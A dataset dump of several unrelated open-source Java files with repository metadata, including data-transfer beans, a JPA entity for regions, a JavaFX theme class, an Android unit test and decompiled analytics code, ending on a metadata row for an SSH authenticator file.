c5f35649c060004d76fce8c8062a0abb443dcbd1
|
[] |
no_license
|
magicgis/outfile
|
e69b785cd14ce7cb08d93d0f83b3f4c0b435b17b
|
497635e2cd947811bf616304e9563e59f0ab4f56
|
refs/heads/master
| 2020-05-07T19:24:08.371572
| 2019-01-23T04:57:18
| 2019-01-23T04:57:18
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 3,490
|
java
|
package com.naswork.module.marketing.controller.clientorder;
import java.util.Date;
public class EmailVo {
private Integer id;
private Integer clientId;
private Integer supplierId;
private Integer sn;
private String partNumber;
private String description;
private Double amount;
private String nowImportpackNumber;
private String oldImportpackNumber;
private String orderNumber;
private String clientOrderNumber;
private String supplierOrderNumber;
private Double nowAmount;
private Double oldAmount;
private Integer userId;
private Integer emailStatus;
private Date updateTimestamp;
public Double getNowAmount() {
return nowAmount;
}
public void setNowAmount(Double nowAmount) {
this.nowAmount = nowAmount;
}
public Double getOldAmount() {
return oldAmount;
}
public void setOldAmount(Double oldAmount) {
this.oldAmount = oldAmount;
}
public String getClientOrderNumber() {
return clientOrderNumber;
}
public void setClientOrderNumber(String clientOrderNumber) {
this.clientOrderNumber = clientOrderNumber;
}
public String getSupplierOrderNumber() {
return supplierOrderNumber;
}
public void setSupplierOrderNumber(String supplierOrderNumber) {
this.supplierOrderNumber = supplierOrderNumber;
}
public String getOrderNumber() {
return orderNumber;
}
public void setOrderNumber(String orderNumber) {
this.orderNumber = orderNumber;
}
public Integer getSn() {
return sn;
}
public Integer getClientId() {
return clientId;
}
public void setClientId(Integer clientId) {
this.clientId = clientId;
}
public void setSn(Integer sn) {
this.sn = sn;
}
public String getPartNumber() {
return partNumber;
}
public Integer getSupplierId() {
return supplierId;
}
public void setSupplierId(Integer supplierId) {
this.supplierId = supplierId;
}
public void setPartNumber(String partNumber) {
this.partNumber = partNumber;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public Double getAmount() {
return amount;
}
public void setAmount(Double amount) {
this.amount = amount;
}
public String getNowImportpackNumber() {
return nowImportpackNumber;
}
public void setNowImportpackNumber(String nowImportpackNumber) {
this.nowImportpackNumber = nowImportpackNumber;
}
public String getOldImportpackNumber() {
return oldImportpackNumber;
}
public void setOldImportpackNumber(String oldImportpackNumber) {
this.oldImportpackNumber = oldImportpackNumber;
}
/**
* @return the userId
*/
public Integer getUserId() {
return userId;
}
/**
* @param userId the userId to set
*/
public void setUserId(Integer userId) {
this.userId = userId;
}
/**
* @return the id
*/
public Integer getId() {
return id;
}
/**
* @param id the id to set
*/
public void setId(Integer id) {
this.id = id;
}
/**
* @return the emailStatus
*/
public Integer getEmailStatus() {
return emailStatus;
}
/**
* @param emailStatus the emailStatus to set
*/
public void setEmailStatus(Integer emailStatus) {
this.emailStatus = emailStatus;
}
/**
* @return the updateTimestamp
*/
public Date getUpdateTimestamp() {
return updateTimestamp;
}
/**
* @param updateTimestamp the updateTimestamp to set
*/
public void setUpdateTimestamp(Date updateTimestamp) {
this.updateTimestamp = updateTimestamp;
}
}
|
[
"942364283@qq.com"
] |
942364283@qq.com
|
0f0664fb35f01f05eee92e66b676e182df85d5ed
|
1b8a226a3f15c3459f819ebe752d6165e1522a93
|
/Treinamento_refatoracao_codigo/src/br/alexandre/refatoracao/cap3/GeradorDeNotaFiscal.java
|
962b225591352d32f2e43ec0484f8c18ec17013f
|
[] |
no_license
|
alexandreximenes/java
|
832d4e708dd3122c1fbf0ab9e4007f2f8c38d509
|
5cef77703bda6a5106734abc32093c0abb29bd5b
|
refs/heads/master
| 2022-12-23T21:48:56.717760
| 2021-04-14T05:19:36
| 2021-04-14T05:19:36
| 128,485,600
| 1
| 0
| null | 2022-12-16T04:26:13
| 2018-04-07T01:16:29
|
JavaScript
|
UTF-8
|
Java
| false
| false
| 581
|
java
|
package br.alura.refatoracao.cap3;
public class GeradorDeNotaFiscal {
public NotaFiscal gera(Fatura fatura) {
NotaFiscal nf = geraNf(fatura);
new EnviadorDeEmail().enviaEmail(nf);
new NFDao().salvaNoBanco(nf);
return nf;
}
private NotaFiscal geraNf(Fatura fatura) {
double valor = fatura.getValorMensal();
double imposto = 0;
if(valor < 200) {
imposto = valor * 0.03;
}
else if(valor > 200 && valor <= 1000) {
imposto = valor * 0.06;
}
else {
imposto = valor * 0.07;
}
NotaFiscal nf = new NotaFiscal(valor, imposto);
return nf;
}
}
|
[
"xyymenes@gmail.com"
] |
xyymenes@gmail.com
|
8df194601791a922e36ef2d0a69c131cddb58d24
|
a1cc7321c90a21fb559c39a99fa54cff5915cf9e
|
/dc/src/dc1_2/MenuController.java
|
6329443148501d7d9f62cb6a3f42e1f52adb9569
|
[] |
no_license
|
inoue-keiichi/Java-training
|
1009637f51bd15fce6bcd989e6bb0c99d2255ee7
|
dd5ca7bc86e32740e74a50dd831ae322b81c32a3
|
refs/heads/master
| 2023-05-15T04:50:00.598526
| 2023-05-08T11:43:48
| 2023-05-08T11:43:48
| 203,075,371
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 2,001
|
java
|
package dc1_2;
import java.awt.Button;
import java.awt.Choice;
import java.awt.Dialog;
import java.awt.Dimension;
import java.awt.Frame;
import java.awt.GridLayout;
import java.awt.Label;
import java.awt.List;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
public class MenuController extends Dialog implements ActionListener {
private static final MenuController menuController = new MenuController(ClockView.getInstance(),
"Property Setting");
private final MenuService menuService = MenuService.getInstance();
private final ClockService clockService = ClockService.getInstance();
private MenuController(Frame frame, String title) {
super(frame, title, true);
setLayout(new GridLayout(5, 2));
add(new Label("Font"));
add(menuService.getFontChoice());
add(new Label("Font Size"));
add(menuService.getFontSizeChoice());
add(new Label("Font Color"));
add(menuService.getFontColorChoice());
add(new Label("Background Color"));
add(menuService.getBackgroundColorChoice());
Button okBtn = new Button("OK");
okBtn.setBounds(50, 80, 100, 30);
okBtn.addActionListener(this);
add(new Label());
add(okBtn);
setResizable(false);
setSize(400, 200);
addWindowListener(new MenuWindowAdapter());
}
@Override
public void actionPerformed(ActionEvent e) {
clockService.setFont(menuService.getFontChoice().getSelectedItem());
clockService.setFontSize(menuService.intConverter(menuService.getFontSizeChoice().getSelectedItem()));
clockService.setFontColor(menuService.colorConverter(menuService.getFontColorChoice().getSelectedItem()));
clockService.setBackgroundColor(
menuService.colorConverter(menuService.getBackgroundColorChoice().getSelectedItem()));
dispose();
ClockView.getInstance().setBackground(clockService.getBackgroundColor());
ClockView.getInstance().setSize(clockService.getFontSize() * 5, clockService.getFontSize() * 5);
}
public static final MenuController getInstance() {
return menuController;
}
}
|
[
"inouejai@gmail.com"
] |
inouejai@gmail.com
|
4ec94a29e9ebfe53a7cfd2469aa7110165dbef2d
|
8c2ec1da840dfbf0d5d11c5cff71b7ad3e2238a8
|
/library/src/test/java/reactiveairplanemode/pwittchen/github/com/library/ReactiveAirplaneModeTest.java
|
63171b510e68de02e3a0db5177b91b885edf6820
|
[
"Apache-2.0"
] |
permissive
|
pwittchen/ReactiveAirplaneMode
|
2d5dd4bd0abfa37b6babba1fda3dcac8aa321cf2
|
ba463d59b841ddd893bd74916d5df85a2be95e8f
|
refs/heads/master
| 2021-01-02T09:12:53.411991
| 2020-08-19T08:49:23
| 2020-08-19T08:49:23
| 99,165,764
| 8
| 2
|
Apache-2.0
| 2020-08-19T08:49:24
| 2017-08-02T22:21:09
|
Java
|
UTF-8
|
Java
| false
| false
| 5,433
|
java
|
/*
* Copyright (C) 2017 Piotr Wittchen
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package reactiveairplanemode.pwittchen.github.com.library;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import io.reactivex.Observable;
import io.reactivex.ObservableEmitter;
import io.reactivex.Single;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.robolectric.RobolectricTestRunner;
import org.robolectric.RuntimeEnvironment;
import static com.google.common.truth.Truth.assertThat;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.spy;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;
@SuppressWarnings("PMD") @RunWith(RobolectricTestRunner.class)
public class ReactiveAirplaneModeTest {
private Context context;
private ReactiveAirplaneMode reactiveAirplaneMode;
@Before public void setUp() {
context = spy(RuntimeEnvironment.application.getApplicationContext());
reactiveAirplaneMode = spy(ReactiveAirplaneMode.create());
}
@Test public void reactiveAirplaneModeObjectShouldNotBeNull() {
assertThat(reactiveAirplaneMode).isNotNull();
}
@Test(expected = IllegalArgumentException.class)
public void getAndObserveShouldThrowAnExceptionForNullContext() {
reactiveAirplaneMode.getAndObserve(null);
}
@Test(expected = IllegalArgumentException.class)
public void observeShouldThrowAnExceptionForNullContext() {
reactiveAirplaneMode.observe(null);
}
@Test(expected = IllegalArgumentException.class)
public void getShouldThrowAnExceptionForNullContext() {
reactiveAirplaneMode.get(null);
}
@Test(expected = IllegalArgumentException.class)
public void isAirplaneModeOnShouldThrowAnExceptionForNullContext() {
reactiveAirplaneMode.isAirplaneModeOn(null);
}
@Test public void observeShouldCreateIntentFilter() {
// when
reactiveAirplaneMode.observe(context);
// then
verify(reactiveAirplaneMode).createIntentFilter();
}
@Test public void isAirplaneModeOnShouldReturnFalseByDefault() {
// when
final boolean isAirplaneModeOn = reactiveAirplaneMode.isAirplaneModeOn(context);
// then
assertThat(isAirplaneModeOn).isFalse();
}
@Test public void getAndObserveShouldEmitAirplaneModeOffByDefault() {
// when
final Observable<Boolean> observable = reactiveAirplaneMode.getAndObserve(context);
// then
assertThat(observable.blockingFirst()).isFalse();
}
@Test public void getShouldEmitAirplaneModeOffByDefault() {
// when
final Single<Boolean> single = reactiveAirplaneMode.get(context);
// then
assertThat(single.blockingGet()).isFalse();
}
@Test public void shouldCreateBroadcastReceiver() {
// given
final ObservableEmitter<Boolean> emitter = mock(ObservableEmitter.class);
// when
final BroadcastReceiver receiver = reactiveAirplaneMode.createBroadcastReceiver(emitter);
// then
assertThat(receiver).isNotNull();
}
@Test public void broadcastReceiverShouldReceiveAnIntentWhereAirplaneModeIsOff() {
// given
final ObservableEmitter<Boolean> emitter = mock(ObservableEmitter.class);
final BroadcastReceiver receiver = reactiveAirplaneMode.createBroadcastReceiver(emitter);
final Intent intent = mock(Intent.class);
when(intent.getBooleanExtra(ReactiveAirplaneMode.INTENT_EXTRA_STATE, false)).thenReturn(false);
// when
receiver.onReceive(context, intent);
// then
verify(emitter).onNext(false);
}
@Test public void broadcastReceiverShouldReceiveAnIntentWhereAirplaneModeIsOn() {
// given
final ObservableEmitter<Boolean> emitter = mock(ObservableEmitter.class);
final BroadcastReceiver receiver = reactiveAirplaneMode.createBroadcastReceiver(emitter);
final Intent intent = mock(Intent.class);
when(intent.getBooleanExtra(ReactiveAirplaneMode.INTENT_EXTRA_STATE, false)).thenReturn(true);
// when
receiver.onReceive(context, intent);
// then
verify(emitter).onNext(true);
}
@Test public void shouldCreateIntentFilter() {
// when
final IntentFilter intentFilter = reactiveAirplaneMode.createIntentFilter();
// then
assertThat(intentFilter).isNotNull();
}
@Test public void shouldCreateIntentFilterWithAirplaneModeChangedAction() {
// when
final IntentFilter intentFilter = reactiveAirplaneMode.createIntentFilter();
// then
assertThat(intentFilter.getAction(0)).isEqualTo(Intent.ACTION_AIRPLANE_MODE_CHANGED);
}
@Test public void shouldTryToUnregisterReceiver() {
// given
final BroadcastReceiver broadcastReceiver = mock(BroadcastReceiver.class);
// when
reactiveAirplaneMode.tryToUnregisterReceiver(broadcastReceiver, context);
// then
verify(context).unregisterReceiver(broadcastReceiver);
}
}
|
[
"piotr@wittchen.biz.pl"
] |
piotr@wittchen.biz.pl
|
16b7541029673e96a9f9f08266aba999671eb066
|
a0ecdde8f5b065b62fd992fede9e75278a18b5ff
|
/src/main/java/com/advisorapp/api/model/Credential.java
|
3fee20b587f76c6d6b89d1322556fd7dc8f8e611
|
[] |
no_license
|
AdvisorApp/API
|
943ee9ab6bcd81731ef7c94e831e3fb2334bbf70
|
4a9f7a93c4b7eb4e87626c609aca6b0fba91e18c
|
refs/heads/master
| 2021-01-01T03:47:28.151693
| 2016-06-09T21:51:58
| 2016-06-09T21:51:58
| 58,557,587
| 0
| 0
| null | 2016-06-09T08:36:58
| 2016-05-11T15:34:23
|
Java
|
UTF-8
|
Java
| false
| false
| 807
|
java
|
package com.advisorapp.api.model;
/**
* Created by damien on 20/05/2016.
*/
public class Credential {
private String email;
private String password;
public Credential() {
}
public Credential(String email, String password) {
this.email = email;
this.password = password;
}
@Override
public String toString() {
return "Credential(" +
"email='" + email + '\'' +
", password='" + password + '\'' +
')';
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
}
|
[
"anael.chardan@gmail.com"
] |
anael.chardan@gmail.com
|
7f4aa6f6259cf3829db1c2e7c464840a01dcbf05
|
3dfe39d6cf86ba7ae5c2f7ba396d146405c27819
|
/oneview-sdk-java-lib/src/main/java/com/hp/ov/sdk/dto/networking/SubPort.java
|
145a596a5a8b428b6750221d8d6653fab9742bed
|
[
"Apache-2.0"
] |
permissive
|
HewlettPackard/oneview-sdk-java
|
36332dbd55829e85a4b717cedf84cac5149af551
|
6b53b1f30070ade8ae479fe709da992e8f703d52
|
refs/heads/master
| 2023-08-09T07:37:10.565694
| 2018-04-18T17:55:45
| 2018-04-18T17:55:45
| 38,078,052
| 19
| 9
|
Apache-2.0
| 2018-04-18T17:55:46
| 2015-06-25T22:36:44
|
Java
|
UTF-8
|
Java
| false
| false
| 2,445
|
java
|
/*
* (C) Copyright 2016 Hewlett Packard Enterprise Development LP
*
* Licensed under the Apache License, Version 2.0 (the "License");
* You may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.hp.ov.sdk.dto.networking;
import java.io.Serializable;
import org.apache.commons.lang3.builder.EqualsBuilder;
import org.apache.commons.lang3.builder.HashCodeBuilder;
import org.apache.commons.lang3.builder.ToStringBuilder;
public final class SubPort implements Serializable {
private static final long serialVersionUID = -470998644380158072L;
private Integer portNumber;
private PortStatus portStatus;
private PortStatusReason portStatusReason;
/**
* @return the portNumber
*/
public Integer getPortNumber() {
return portNumber;
}
/**
* @param portNumber the portNumber to set
*/
public void setPortNumber(Integer portNumber) {
this.portNumber = portNumber;
}
/**
* @return the portStatus
*/
public PortStatus getPortStatus() {
return portStatus;
}
/**
* @param portStatus the portStatus to set
*/
public void setPortStatus(PortStatus portStatus) {
this.portStatus = portStatus;
}
/**
* @return the portStatusReason
*/
public PortStatusReason getPortStatusReason() {
return portStatusReason;
}
/**
* @param portStatusReason the portStatusReason to set
*/
public void setPortStatusReason(PortStatusReason portStatusReason) {
this.portStatusReason = portStatusReason;
}
@Override
public boolean equals(Object obj) {
return EqualsBuilder.reflectionEquals(this, obj);
}
@Override
public int hashCode() {
return HashCodeBuilder.reflectionHashCode(this);
}
@Override
public String toString() {
return ToStringBuilder.reflectionToString(this);
}
}
|
[
"luiz.her.svoboda@hpe.com"
] |
luiz.her.svoboda@hpe.com
|
affc84f35718461274f304ff8dbe333b346c3894
|
02127aef528ff9ba18ae478f481ab37cf3c2fb4c
|
/src/main/java/com/wanliang/small/entity/Area.java
|
eb498227d78d68692d4cc7e9846aad4bd2be2a75
|
[] |
no_license
|
pf5512/small
|
2f2c78a9fcc7f0fc9df56fb4d251df49ea037ae8
|
923eda30e9c85214a9efb78fc3750b7fc3e572d4
|
refs/heads/master
| 2021-01-01T06:53:32.059039
| 2015-04-13T01:15:50
| 2015-04-13T01:15:50
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 5,900
|
java
|
package com.wanliang.small.entity;
import java.util.HashSet;
import java.util.Set;
import javax.persistence.CascadeType;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.FetchType;
import javax.persistence.ManyToOne;
import javax.persistence.OneToMany;
import javax.persistence.OrderBy;
import javax.persistence.PrePersist;
import javax.persistence.PreRemove;
import javax.persistence.PreUpdate;
import javax.persistence.SequenceGenerator;
import javax.persistence.Table;
import org.hibernate.validator.constraints.Length;
import org.hibernate.validator.constraints.NotEmpty;
/**
* Entity - 地区
*
* @author wan_liang@126.com Team
* @version 3.0
*/
@Entity
@Table(name = "xx_area")
@SequenceGenerator(name = "sequenceGenerator", sequenceName = "xx_area_sequence")
public class Area extends OrderEntity {
private static final long serialVersionUID = -2158109459123036967L;
/** 树路径分隔符 */
private static final String TREE_PATH_SEPARATOR = ",";
/** 名称 */
private String name;
/** 全称 */
private String fullName;
/** 树路径 */
private String treePath;
/** 上级地区 */
private Area parent;
/** 下级地区 */
private Set<Area> children = new HashSet<Area>();
/** 会员 */
private Set<Member> members = new HashSet<Member>();
/** 收货地址 */
private Set<Receiver> receivers = new HashSet<Receiver>();
/** 订单 */
private Set<Order> orders = new HashSet<Order>();
/** 发货点 */
private Set<DeliveryCenter> deliveryCenters = new HashSet<DeliveryCenter>();
/**
* 获取名称
*
* @return 名称
*/
@NotEmpty
@Length(max = 100)
@Column(nullable = false, length = 100)
public String getName() {
return name;
}
/**
* 设置名称
*
* @param name
* 名称
*/
public void setName(String name) {
this.name = name;
}
/**
* 获取全称
*
* @return 全称
*/
@Column(nullable = false, length = 500)
public String getFullName() {
return fullName;
}
/**
* 设置全称
*
* @param fullName
* 全称
*/
public void setFullName(String fullName) {
this.fullName = fullName;
}
/**
* 获取树路径
*
* @return 树路径
*/
@Column(nullable = false, updatable = false)
public String getTreePath() {
return treePath;
}
/**
* 设置树路径
*
* @param treePath
* 树路径
*/
public void setTreePath(String treePath) {
this.treePath = treePath;
}
/**
* 获取上级地区
*
* @return 上级地区
*/
@ManyToOne(fetch = FetchType.LAZY)
public Area getParent() {
return parent;
}
/**
* 设置上级地区
*
* @param parent
* 上级地区
*/
public void setParent(Area parent) {
this.parent = parent;
}
/**
* 获取下级地区
*
* @return 下级地区
*/
@OneToMany(mappedBy = "parent", fetch = FetchType.LAZY, cascade = CascadeType.REMOVE)
@OrderBy("order asc")
public Set<Area> getChildren() {
return children;
}
/**
* 设置下级地区
*
* @param children
* 下级地区
*/
public void setChildren(Set<Area> children) {
this.children = children;
}
/**
* 获取会员
*
* @return 会员
*/
@OneToMany(mappedBy = "area", fetch = FetchType.LAZY)
public Set<Member> getMembers() {
return members;
}
/**
* 设置会员
*
* @param members
* 会员
*/
public void setMembers(Set<Member> members) {
this.members = members;
}
/**
* 获取收货地址
*
* @return 收货地址
*/
@OneToMany(mappedBy = "area", fetch = FetchType.LAZY)
public Set<Receiver> getReceivers() {
return receivers;
}
/**
* 设置收货地址
*
* @param receivers
* 收货地址
*/
public void setReceivers(Set<Receiver> receivers) {
this.receivers = receivers;
}
/**
* 获取订单
*
* @return 订单
*/
@OneToMany(mappedBy = "area", fetch = FetchType.LAZY)
public Set<Order> getOrders() {
return orders;
}
/**
* 设置订单
*
* @param orders
* 订单
*/
public void setOrders(Set<Order> orders) {
this.orders = orders;
}
/**
* 获取发货点
*
* @return 发货点
*/
@OneToMany(mappedBy = "area", fetch = FetchType.LAZY)
public Set<DeliveryCenter> getDeliveryCenters() {
return deliveryCenters;
}
/**
* 设置发货点
*
* @param deliveryCenters
* 发货点
*/
public void setDeliveryCenters(Set<DeliveryCenter> deliveryCenters) {
this.deliveryCenters = deliveryCenters;
}
/**
* 持久化前处理
*/
@PrePersist
public void prePersist() {
Area parent = getParent();
if (parent != null) {
setFullName(parent.getFullName() + getName());
setTreePath(parent.getTreePath() + parent.getId() + TREE_PATH_SEPARATOR);
} else {
setFullName(getName());
setTreePath(TREE_PATH_SEPARATOR);
}
}
/**
* 更新前处理
*/
@PreUpdate
public void preUpdate() {
Area parent = getParent();
if (parent != null) {
setFullName(parent.getFullName() + getName());
} else {
setFullName(getName());
}
}
/**
* 删除前处理
*/
@PreRemove
public void preRemove() {
Set<Member> members = getMembers();
if (members != null) {
for (Member member : members) {
member.setArea(null);
}
}
Set<Receiver> receivers = getReceivers();
if (receivers != null) {
for (Receiver receiver : receivers) {
receiver.setArea(null);
}
}
Set<Order> orders = getOrders();
if (orders != null) {
for (Order order : orders) {
order.setArea(null);
}
}
Set<DeliveryCenter> deliveryCenters = getDeliveryCenters();
if (deliveryCenters != null) {
for (DeliveryCenter deliveryCenter : deliveryCenters) {
deliveryCenter.setArea(null);
}
}
}
/**
* 重写toString方法
*
* @return 全称
*/
@Override
public String toString() {
return getFullName();
}
}
|
[
"wan_liang@126.com"
] |
wan_liang@126.com
|
63e13c367c3cb6d2ff8953af4fa0ad40906acf80
|
10aafeb04c776976117b7360c6e31a9d1037310b
|
/src/goryachev/fx/Theme.java
|
d0ce1f70fef323146c8a7b475a5f2eb0f81fba56
|
[
"Apache-2.0",
"LGPL-3.0-only"
] |
permissive
|
pzatschl/FxDock
|
35ec29eca4399c68f83653a8414aa73640aaa1d1
|
68d529a02bf2d8ae4b194c0523d7cbe8cd04aa45
|
refs/heads/master
| 2021-05-24T18:46:57.855284
| 2020-04-07T06:43:42
| 2020-04-07T06:43:42
| 253,704,503
| 0
| 0
|
Apache-2.0
| 2020-04-07T06:18:40
| 2020-04-07T06:18:40
| null |
UTF-8
|
Java
| false
| false
| 2,196
|
java
|
// Copyright © 2017-2020 Andy Goryachev <andy@goryachev.com>
package goryachev.fx;
import goryachev.common.util.Keep;
import goryachev.common.util.SB;
import goryachev.fx.internal.StandardThemes;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import javafx.scene.paint.Color;
/**
* Color Theme.
*/
@Keep
public class Theme
{
public Color affirm;
public Color base;
public Color control;
public Color destruct;
public Color focus;
public Color outline;
public Color selectedTextBG;
public Color selectedTextFG;
public Color textBG;
public Color textFG;
private static Theme current;
public Theme()
{
}
public static Theme current()
{
if(current == null)
{
Theme t = loadFromSettings();
if(t == null)
{
// TODO how to detect dark OS theme?
t = StandardThemes.createLightTheme();
}
check(t);
current = t;
}
return current;
}
private static Theme loadFromSettings()
{
// TODO first standard names
// TODO use keys to load values
return null;
}
private static void check(Theme t)
{
SB sb = null;
Field[] fs = Theme.class.getDeclaredFields();
for(Field f: fs)
{
int m = f.getModifiers();
if(Modifier.isPublic(m) && !Modifier.isStatic(m))
{
Object v;
try
{
v = f.get(t);
}
catch(Exception e)
{
v = null;
}
if(v == null)
{
if(sb == null)
{
sb = new SB();
sb.append("Missing theme values: ");
}
else
{
sb.a(",");
}
sb.append(f.getName());
}
}
}
if(sb != null)
{
throw new Error(sb.toString());
}
}
/** creates a light/dark compatible gray color, based on the intensity of the textBG */
public Color gray(int gray)
{
if(isLight())
{
return Color.rgb(gray, gray, gray);
}
else
{
return Color.rgb(255 - gray, 255 - gray, 255 - gray);
}
}
public boolean isLight()
{
// this is good enough for now
return (textBG.getBrightness() > 0.5);
}
public boolean isDark()
{
return !isLight();
}
}
|
[
"andy@goryachev.com"
] |
andy@goryachev.com
|
d96aecb1a3d515b93661f0df4131f134f7ade02f
|
1084fe97ca4f7ffba6584cdae0f29af7fd882bfe
|
/schema/external/src/main/java/net/meerkat/identifier/currency/PLN.java
|
c5f68053d36371e042fef6e34c770f18f2c5c8ff
|
[] |
no_license
|
ollierob/meerkat
|
668a59d839adf01dcb04dcd35e3185ffe55888a8
|
5c88d567355eb4cb4fee62613b3f6be290dcc19d
|
refs/heads/master
| 2022-11-13T21:14:52.829245
| 2022-10-18T19:53:49
| 2022-10-18T19:53:49
| 54,719,015
| 1
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 345
|
java
|
package net.meerkat.identifier.currency;
/**
*
* @author ollie
*/
public class PLN extends NationalCurrencyIso {
private static final long serialVersionUID = 1L;
PLN() {
}
@Override
public String symbol() {
return "zł";
}
@Override
public String name() {
return "Polish złoty";
}
}
|
[
"ollie.robertshaw@gmail.com"
] |
ollie.robertshaw@gmail.com
|
ad05733adab0320f1f83db6ec9025d8a958d349d
|
90eb7a131e5b3dc79e2d1e1baeed171684ef6a22
|
/sources/p005b/p273o/p276x4/p277j/C5036b.java
|
12a610480e4e4b86f80c491abba034df53881818
|
[] |
no_license
|
shalviraj/greenlens
|
1c6608dca75ec204e85fba3171995628d2ee8961
|
fe9f9b5a3ef4a18f91e12d3925e09745c51bf081
|
refs/heads/main
| 2023-04-20T13:50:14.619773
| 2021-04-26T15:45:11
| 2021-04-26T15:45:11
| 361,799,768
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 2,848
|
java
|
package p005b.p273o.p276x4.p277j;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.appcompat.widget.ActivityChooserModel;
import com.segment.analytics.AnalyticsContext;
import com.segment.analytics.integrations.BasePayload;
import java.util.Objects;
import org.json.JSONObject;
import p005b.p035e.p036a.p037a.C0843a;
/* renamed from: b.o.x4.j.b */
public class C5036b {
@NonNull
/* renamed from: a */
public String f9732a;
@Nullable
/* renamed from: b */
public C5037c f9733b;
/* renamed from: c */
public Float f9734c;
/* renamed from: d */
public long f9735d;
public C5036b(@NonNull String str, @Nullable C5037c cVar, float f) {
this.f9732a = str;
this.f9733b = cVar;
this.f9734c = Float.valueOf(f);
this.f9735d = 0;
}
public C5036b(@NonNull String str, @Nullable C5037c cVar, float f, long j) {
this.f9732a = str;
this.f9733b = cVar;
this.f9734c = Float.valueOf(f);
this.f9735d = j;
}
/* renamed from: a */
public JSONObject mo16788a() {
JSONObject jSONObject = new JSONObject();
jSONObject.put(AnalyticsContext.Device.DEVICE_ID_KEY, this.f9732a);
C5037c cVar = this.f9733b;
if (cVar != null) {
Objects.requireNonNull(cVar);
JSONObject jSONObject2 = new JSONObject();
C5038d dVar = cVar.f9736a;
if (dVar != null) {
JSONObject jSONObject3 = new JSONObject();
jSONObject3.put("notification_ids", dVar.f9738a);
jSONObject3.put("in_app_message_ids", dVar.f9739b);
jSONObject2.put("direct", jSONObject3);
}
C5038d dVar2 = cVar.f9737b;
if (dVar2 != null) {
JSONObject jSONObject4 = new JSONObject();
jSONObject4.put("notification_ids", dVar2.f9738a);
jSONObject4.put("in_app_message_ids", dVar2.f9739b);
jSONObject2.put("indirect", jSONObject4);
}
jSONObject.put("sources", jSONObject2);
}
if (this.f9734c.floatValue() > 0.0f) {
jSONObject.put(ActivityChooserModel.ATTRIBUTE_WEIGHT, this.f9734c);
}
long j = this.f9735d;
if (j > 0) {
jSONObject.put(BasePayload.TIMESTAMP_KEY, j);
}
return jSONObject;
}
public String toString() {
StringBuilder u = C0843a.m460u("OSOutcomeEventParams{outcomeId='");
u.append(this.f9732a);
u.append('\'');
u.append(", outcomeSource=");
u.append(this.f9733b);
u.append(", weight=");
u.append(this.f9734c);
u.append(", timestamp=");
u.append(this.f9735d);
u.append('}');
return u.toString();
}
}
|
[
"73280944+shalviraj@users.noreply.github.com"
] |
73280944+shalviraj@users.noreply.github.com
|
be051ba37e5026487d6b100345b83abc5b868d3d
|
7ac2410746428cee3cc754664c7f940ce5ab1dd5
|
/Protein_Annotation_Base/src/org/yeastrc/paws/base/client_server_shared_objects/GetDataForTrackingIdServerResponse.java
|
7bfe51229173b74c81c9598ce9b57e66d50035fd
|
[
"Apache-2.0"
] |
permissive
|
yeastrc/paws_Protein_Annotation_Web_Services
|
9e5b506d8d06db33834c59c0aafaf1c92bf9cfc9
|
de36eb2df5dcadc06b697f73384cc8d114aeffe3
|
refs/heads/master
| 2021-01-01T15:51:18.982809
| 2017-05-25T21:53:33
| 2017-05-25T21:53:33
| 42,256,356
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 1,004
|
java
|
package org.yeastrc.paws.base.client_server_shared_objects;
/**
* Used for transfering Data from server to Jobcenter modules for processing a request
*
*/
public class GetDataForTrackingIdServerResponse {
private boolean success;
private boolean noRecordForTrackingId;
private boolean dataAlreadyProcessed;
private String sequence;
public boolean isSuccess() {
return success;
}
public void setSuccess(boolean success) {
this.success = success;
}
public boolean isNoRecordForTrackingId() {
return noRecordForTrackingId;
}
public void setNoRecordForTrackingId(boolean noRecordForTrackingId) {
this.noRecordForTrackingId = noRecordForTrackingId;
}
public boolean isDataAlreadyProcessed() {
return dataAlreadyProcessed;
}
public void setDataAlreadyProcessed(boolean dataAlreadyProcessed) {
this.dataAlreadyProcessed = dataAlreadyProcessed;
}
public String getSequence() {
return sequence;
}
public void setSequence(String sequence) {
this.sequence = sequence;
}
}
|
[
"djaschob@uw.edu"
] |
djaschob@uw.edu
|
94be46286c96258e35071c54e34c2e5b62d8b2e6
|
4461d7177934ecffe58369756621d7da91f33bde
|
/collector-server/src/main/java/com/heliosapm/streams/collector/ssh/Authenticationator.java
|
4913274b15fc1ca1bcad9db87233385bf5704910
|
[
"Apache-2.0"
] |
permissive
|
nickman/HeliosStreams
|
acaa1ff427f00d2e80e9e8ee88b0c5f728ab95b3
|
9152a7bba7198fef3122360f6b3ed0ffa5048824
|
refs/heads/master
| 2020-04-10T11:57:20.404389
| 2017-03-31T00:52:43
| 2017-03-31T00:52:43
| 61,433,602
| 7
| 4
| null | null | null | null |
UTF-8
|
Java
